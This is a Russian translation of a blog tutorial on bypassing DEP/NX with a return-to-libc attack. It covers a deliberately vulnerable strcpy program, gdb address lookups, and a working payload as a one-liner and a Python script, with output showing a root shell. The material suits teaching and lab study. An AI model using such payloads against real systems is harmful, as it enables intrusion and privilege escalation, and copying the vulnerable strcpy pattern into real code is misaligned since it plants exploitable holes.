В этом посте я продемонстрирую обход DEP/NX, используя обратно ориентированное программирование.
#include <stdio.h> #include <string.h> int main(int argc, char** argv) { char buffer[20]; strcpy(buffer, argv[1]); printf("%s\n",buffer); return 0; } root@kali:~# gcc vulnerable.c -o vulnerable -fno-stack-protector
Однако, в этот раз мы активируем DEP/NX, используя execstack. Если вы компилируете новый исполнимый файл, он уже будет иметь активированный DEP, но убедитесь, что компиляция проведена с использованием опции -fno-stack-protector, т.к. это не обходит stack canaries.
root@kali:~# execstack -c ./vulnerable root@kali:~# execstack -q ./vulnerable - ./vulnerable Нам по-прежнему нужен отключенный ASLR, т.к. следующая атака не обходит ASLR. root@kali:~# echo 0 > /proc/sys/kernel/randomize_va_space
Возвращение к -to-libc атаке (ret2libc)
Уязвимая программа использует только две функции из включенных библиотек printf и strcpy. Однако, вся stdio и строковые библиотеки все еще привязываются и загружаются в память каждый раз, когда выполняется программа. Это позволит экспойту переполнения буфера потенциально перенаправить поток к функции, содержащейся в связанных библиотеках, что может позволить воспользоваться преимуществом для запуска вредоносного кода. Одна такая функция является системной, которая может быть использована для запуска системных команд с помощью переписывания стека вызова программы и замены местами обратного адреса хранящегося на стеке, благодаря функции strcpy и адреса системной функции.
Это заинтересует вас:
Системная функция, однако, ожидает, что у стека есть аргумент для функции в топе, за которым следует обратный адрес для системной функции. Перед тем как strcpy функция вернется, топ стека будет выглядеть следующим образом:
<arguments to main> - 4 bytes <return address of main> - 4 bytes <ebp stored by main> - 4 bytes <buffer> - 28 bytes <address of buffer> - 4 bytes
Обходя буфер, мы можем перенаправить обратный адрес strcpy к точке системной функции в памяти и добавить дополнительные элементы в топ стека, чтобы использовать их как аргумент и обратный адрес для системной функции. Стек будет выглядеть следующим образом:
<argument to system> - 4 bytes <return address for system> - 4 bytes <address of system> - 4 bytes <overwritten stored ebp> - 4 bytes <buffer> - 28 bytes <address of buffer> - 4 bytes
Как мы можем увидеть, отправляя буфер соответствующего размера, мы можем переписать хранящиеся локации памяти, находящиеся напротив, и выполнить произвольный код после возврата основной функции.
Это может быть достигнуто путем нахождения размера буфера в стеке и последующей перезаписи соответствующей позиции в нем. Я использовал gdb для этого, потому что в нем на несколько полезных особенностей больше, чем в edb.
root@kali:~# gdb -q ./vulnerable Reading symbols from /root/vulnerable...(no debugging symbols found)...done. (gdb) disas main Dump of assembler code for function main: 0x0804844c <+0>: push %ebp 0x0804844d <+1>: mov %esp,%ebp 0x0804844f <+3>: and $0xfffffff0,%esp 0x08048452 <+6>: sub $0x30,%esp 0x08048455 <+9>: mov 0xc(%ebp),%eax 0x08048458 <+12>: add $0x4,%eax 0x0804845b <+15>: mov (%eax),%eax 0x0804845d <+17>: mov %eax,0x4(%esp) 0x08048461 <+21>: lea 0x1c(%esp),%eax 0x08048465 <+25>: mov %eax,(%esp) 0x08048468 <+28>: call 0x8048320 <strcpy@plt> 0x0804846d <+33>: lea 0x1c(%esp),%eax 0x08048471 <+37>: mov %eax,(%esp) 0x08048474 <+40>: call 0x8048330 <puts@plt> 0x08048479 <+45>: mov $0x0,%eax 0x0804847e <+50>: leave 0x0804847f <+51>: ret End of assembler dump.
На 0x08048468 вызывается функция strcpy и в следующей инструкции esp перемещается с помощью символов 0x1c, чтобы загрузить указатель в eax, который показывает, что на буфер длиной в 0x1c или 28 байт. Теперь нам нужно найти адрес памяти системной функции и передать что-то в качестве аргумента к нему. На самом деле, библиотека C содержит строчку «/bin/sh», которую мы можем использовать, чтобы прикрепиться к shell в программе путем применения ее в качестве аргумента для системы.
(gdb) break main Breakpoint 1 at 0x804844f (gdb) run Starting program: /root/vulnerable Breakpoint 1, 0x0804844f in main () (gdb) print system $1 = {} 0xb7eab6b0 (gdb) find &system, +99999999, "/bin/sh" 0xb7f9a474 warning: Unable to access target memory at 0xb7fbd6fc, halting search. 1 pattern found.
Теперь, когда у нас есть наш адрес для системы и для «/bin/bash», мы можем сделать новый эксплойт, который обходит DEP и дает нам шелл.
root@kali:~# ./vulnerable $(python -c 'print "A"*32 + "\xb0\xb6\xea\xb7" + "A"*4 + "\x74\xa4\xf9\xb7"') AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA����AAAAt� # id uid=0(root) gid=0(root) groups=0(root),27(sudo) # uname -a Linux kali 3.18.0-kali3-586 #1 Debian 3.18.6-1~kali2 (2015-03-02) i686 GNU/Linux
Мы можем написать вышеуказанный пейлоад в более понятной форме также как и python script.
#!/usr/bin/python from struct import pack buffer = "" offset = "A"*32 binsh = pack("<L",0xb7f9a474) sys = pack("<L", 0xb7eab6b0) buffer += offset buffer += sys buffer += "A"*4 buffer += binsh print buffer
И пользуясь нашей уязвимой программой, мы получаем shell.
root@kali:~# ./vulnerable $(python vulnerablerop.py) AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA����AAAAt� # id uid=0(root) gid=0(root) groups=0(root),27(sudo) # uname -a Linux kali 3.18.0-kali3-586 #1 Debian 3.18.6-1~kali2 (2015-03-02) i686 GNU/Linux
В случаях, когда эксплуатация не является прямой, например, отсутствие строки «/bin/sh» в памяти, нам необходимо использовать гаджеты ROP, чтобы создать и хранить строку в доступной локации памяти. ROP гаджет — просто набор инструкций языка ассемблере с последующей командой возврата, который уже загружен в память как часть программы. Эти гаджеты предоставляют особые функции, которые мы можем соединить вместе, чтобы выполнить произвольный код. ROP является Turing complete и может быть использован для имитации любого кода. Вы можете найти дополнительную информацию о ROP по следующим ссылкам: ROP primer by bas here, by Corelan Team here, by b33f here.
Перевод: Анна Давыдова
Источник: tehaurum.wordpress.com